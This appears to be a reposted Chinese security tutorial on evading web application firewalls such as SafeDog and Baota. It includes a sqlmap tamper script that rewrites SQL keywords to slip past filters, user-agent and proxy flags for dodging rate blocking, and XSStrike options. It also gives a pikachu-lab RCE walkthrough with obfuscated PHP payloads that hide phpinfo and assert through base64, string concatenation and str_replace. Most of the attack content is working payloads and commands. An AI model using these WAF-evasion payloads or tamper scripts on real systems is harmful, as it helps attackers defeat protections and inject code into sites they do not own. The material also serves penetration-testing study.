03-WAF绕过-漏洞利用之注入上传跨站等绕过

这篇具有很好参考价值的文章主要介绍了03-WAF绕过-漏洞利用之注入上传跨站等绕过。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

WAF绕过-漏洞利用之注入上传跨站等绕过

思维导图

03-WAF绕过-漏洞利用之注入上传跨站等绕过

一、sql注入绕过

使用sqlmap注入测试绕过

1.绕过cc流量

通过sqlmap对网站进行测试的时候,如果对方有cc流量防护,需要给sqlmap设置一个代理进行注入。

  • 防cc拦截:修改user-agent头+代理(付费代理池)

修改user-agent头:

​ (1)加参数:–random-agent

  • 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。

​ (2)直接加上头部加参数:–user-agent=“Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

  • 指定一个user-agent的值进行测试。

    • 默认情况下,sqlmap会使用自己的user-agent进行测试(所以很多服务器发现user-agent是sqlmap的数据包直接认为是入侵),sqlmap自己的user-agent是:sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org)

    (3)修改配置文件sqlmap.conf中的agent变量值

    ​ 加代理:–proxy=“http:tps123.kdlapi.com:15818”

    这里的代理为自己购买的。

2.绕过关键字

替换关键字为加密

编写的waf-dog.py:python脚本如下

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""


from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload,**kwargs):
    retVal =""
    if payload:
        payload = payload.replace("union","%23a%0aunion")
        payload = payload.replace("select","/*!4457select*/")
        payload = payload.replace("%20","%23a%0a")
        payload = payload.replace(" ","%23a%0a")
        payload = payload.replace("database()","database%23a%0a()")
    return payload


//替换了关键字

3.注释拦截绕过

在买了宝塔付费产品后,过狗的payload中含有/*的都会被宝塔拦截。(宝塔比安全狗多了一个对/*进行检测),

因此同样用编写后绕过安全狗的tampe模块去跑网站,虽然绕过了安全狗,如果对方有宝塔,会被宝塔拦截。

方法:一但用到/*这些注释什么的,就在前面加上%00,宝塔就以为结束了,不会检测后面的数据了。

修改脚本,在使用/*的时候在前面加上%00

03-WAF绕过-漏洞利用之注入上传跨站等绕过

03-WAF绕过-漏洞利用之注入上传跨站等绕过

语句示范:

sqlmap --proxy="http://127.0.0.1:8080" --tamper="waf.py" --random-agent


`--tamper=TAMPER` 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。

另外,抓包查看sqlmap的指纹如下,会被waf拦截,所以需要修改us头。

03-WAF绕过-漏洞利用之注入上传跨站等绕过

二、文件上传

更改上传后缀名的格式

1.php 截断,参考之前学习的payload上传,绕过waf

和前面文件上传专题的绕过方法一样。

03-WAF绕过-漏洞利用之注入上传跨站等绕过

三、XSS绕过WAF

利用 XSStrike工具进行测试
此时如果对方网站开启cc防护:
1.由于是工具,需要设置一个代理
2.设置延迟参数

即:利用xss trike绕过,加上–timeout或者–proxy绕过cc

xsstrike.py -u "目标网址" --timeout x  延时
xsstrike.py -u "目标网址" --proxy  代理地址

XSStrike参数:

-h, --help //显示帮助信息
-u, --url //指定目标 URL
--data //POST 方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义 paload 字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义 payload 编码方式
--json //将 POST 数据视为 JSON
--path //测试 URL 路径组件
--seeds //从文件中测试、抓取 URL
--fuzzer //测试过滤器和 Web 应用程序防火墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过 DOM 扫描
--headers //提供 HTTP 标头
-d, --delay //设置延迟

四、RCE执行绕过

加密编码绕过?算法可逆?关键字绕过?提交方法?各种测试?

实例:目标pikachu靶场rce漏洞

1.RCE源代码:
接收post传入的参数,并且通过eval执行,如果没执行成功则输出字符串

03-WAF绕过-漏洞利用之注入上传跨站等绕过

1.输入echo 123; 并执行,成功输出

03-WAF绕过-漏洞利用之注入上传跨站等绕过

2.但是当输入phpinfo();时,连接被重置了,此处是因为敏感字符被waf检测到了所以进行拦截

03-WAF绕过-漏洞利用之注入上传跨站等绕过

03-WAF绕过-漏洞利用之注入上传跨站等绕过

拦截日志,触发了phpinfo()

03-WAF绕过-漏洞利用之注入上传跨站等绕过

4.此时我们想到通过base64加密解密来绕过phpinfo(); 这个关键字

先把phpinfo();用base64加密,结果为cGhwaW5mbygpOw==,然后用php中的base64解密函数base64_decode()进行解密

所以在输入框内base64_decode(‘cGhwaW5mbygpOw==’);提交即可

当post将字符串base64_decode(‘cGhwaW5mbygpOw==’);提交后,对方后台接收到post值,并通过eval将字符串当成php代码执行,就成功对加密后的phpinfo();进行了解密还原。(此时感觉逻辑非常的通顺)

03-WAF绕过-漏洞利用之注入上传跨站等绕过

5.提交后发现又被拦截了,此时我们打开宝塔的日志看了一眼,又被匹配到了敏感参数,这次是base64_decode()(我感觉就算没有拦截的话,通过上面源码看,传入后也执行不了,会报语法错误)

03-WAF绕过-漏洞利用之注入上传跨站等绕过

6.此时就可以用字符串的拼接来绕过waf对关键字的匹配

(1) 因为waf只是拦截关键字,我们用字符串将关键字拼接起来,waf就不会识别到,并且可以执行同样的功能

例子:
$a='php'.'info();';assert($a);
将php和info(); 拼接起来赋值给变量a,再通过assert对执行变量a

03-WAF绕过-漏洞利用之注入上传跨站等绕过

提交后

03-WAF绕过-漏洞利用之注入上传跨站等绕过

(2) 或者用php中的str_replace函数替换变量中指定的字符串为空

txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);

(3) 上面的方法都有用到assert来执行phpinfo(); 如果assert也被过滤了呢
此时我们也可以用拼接字符串或者str_replace拆分来绕过关键字

$x='asse';$xx='rt';$xxx=$x.$xx;$y=str_replace('x','','pxhpxinxfo()');$xxx($y)

03-WAF绕过-漏洞利用之注入上传跨站等绕过

使用assert还有一点

03-WAF绕过-漏洞利用之注入上传跨站等绕过

不使用没有显示是因为phpinfo()没有被执行,因此加个assert()函数

03-WAF绕过-漏洞利用之注入上传跨站等绕过

也可以通过$_REQUEST提交方式绕过

完整语句:

txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);&submit=%E6%8F%90%E4%BA%A4ce

五、文件包含

以下几种:…\ …/ …\等文章来源地址https://www.toymoban.com/news/detail-431142.html

到了这里,关于03-WAF绕过-漏洞利用之注入上传跨站等绕过的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • xss跨站之waf绕过及安全修复(28)

    xss跨站之waf绕过及安全修复(28)

    手工探针xss绕过waf规则 打开靶场  写入跨站测试语句发现拦截  这里就做一个最经典的方法,做一个拆分来确立拦截的是什么东西。 去掉最后字符串,访问还是拦截,再去掉alert(1),访问还是拦截,再去掉尖括号里面一个字符。留下scrtp在访问一下,还是拦截了,拿

    2024年02月13日
    浏览(10)
  • 实战绕过WTS-WAF的SQL注入

    实战绕过WTS-WAF的SQL注入

      本人在做完测试了,所保留的信息均已删除且未保留,只是友好的测试,并非有意为之。若侵权请联系我进行删帖。   这里发现漏洞也是通过URL来进行判断的,发现存在?id=22,那么就激情我的测试的兴趣了,但是and 1=2–+上来就给我干出了WAF,然后这里就需要考虑如何

    2024年02月08日
    浏览(26)
  • SQL注入三连实战绕过WTS-WAF

    SQL注入三连实战绕过WTS-WAF

    一键三连,sql注入 一次无意之间发现的sql注入,主要是因为有一个WTS-WAF,在此记录一下 只是友好测试,并非有意为之。。。。 判断字段数 测试到order by 15的时候出现了报错,那么就可以说明字段数为14 直接注入 联合注入直接上 很多都可以,我这里直接用第二个位置 这里以

    2024年02月07日
    浏览(8)
  • 从SQL注入绕过最新安全狗WAF中学习fuzz

    从SQL注入绕过最新安全狗WAF中学习fuzz

    SQL注入并不是很精通,通过实战绕过WAF来进行加强SQL注入能力,希望对正在学习的师傅能有一丝帮助。 我是本地搭建的环境进行测试的 环境是 windows11+phpstudy2018+sqli-labs phpstudy的安装我不再复述,这里简单说一下安全狗插件和安全狗的安装。 在安装安全狗之前,一定要先做好

    2024年02月14日
    浏览(10)
  • 【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

    【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

    常见概念 POC:全称 ’ Proof of Concept \\\',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。 EXP:全称 ’ Exploit \\\',中文 ’ 利用 \\\',指利用系统漏洞进行攻击的动作。 Payload:中文 ’ 有效载荷 \\\',指成功exploit之后,真正在目标系统执行的代码或指令。 Shellcode:简单翻译 ’ she

    2024年02月05日
    浏览(9)
  • 文件上传漏洞基础/::$DATA绕过上传/叠加特征绕过/双写绕过

    文件上传漏洞基础/::$DATA绕过上传/叠加特征绕过/双写绕过

    如果后缀名没有对::$DATA进行判断,利用windows系统NTFS特征可以绕过上传 在window的时候如果文件名+\\\"::$DATA\\\"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,其实和空格绕过点绕过类似 upload-pass08 代码分析 看到这里还是黑名单过滤,比前面少了

    2024年02月06日
    浏览(4)
  • 文件上传漏洞基础/htaccess重写解析绕过/大小写绕过上传/windows特性绕过

    文件上传漏洞基础/htaccess重写解析绕过/大小写绕过上传/windows特性绕过

    目录 一、htaccess重写解析绕过上传 htaccess文件 htaccess文件上传 靶场练习pass-04 代码分析 创建.htaccess文件 开始上传 访问 二、大小写绕过 upload-labs pass-05 代码分析 上传 访问 ​编辑  三、空格绕过上传 pass-06 代码分析 尝试上传 访问 四、利用windows系统特征绕过上传 pass-07 代码

    2024年02月13日
    浏览(7)
  • 文件上传漏洞(1), 文件上传绕过原理

    一, 前端校验上传文件 添加 Javascript 代码,然后在 form 表单中 添加 onsubmit=\\\"returb checkFile()\\\" 绕过前端: 1. 在浏览器设置中禁用js 通常不建议使用这种方式, 因为前端js中可能存在很多其他js的功能, 例如ajax请求. 2. 用burpsuite等工具修改请求. 因为前端js对文件类型做了限制, 那么将

    2024年02月08日
    浏览(8)
  • iwebsec靶场 SQL注入漏洞通关笔记11-16进制编码绕过

    iwebsec靶场 SQL注入漏洞通关笔记11-16进制编码绕过

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时

    2023年04月24日
    浏览(10)
  • 【文件上传漏洞绕过方式】

    【文件上传漏洞绕过方式】

    目录 前言 正文 总结   目前,文件上传往往在业务中不可避免,也是极其容易出现上传漏洞。根据owasptop10中的排名,文件上传漏洞(属于攻击检测和防范不足)高居其中。今天和大家分享常见的文件上传的绕过方式。  绕过方式一:前端绕过  首先,根据前端页面队上传文

    2023年04月08日
    浏览(6)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包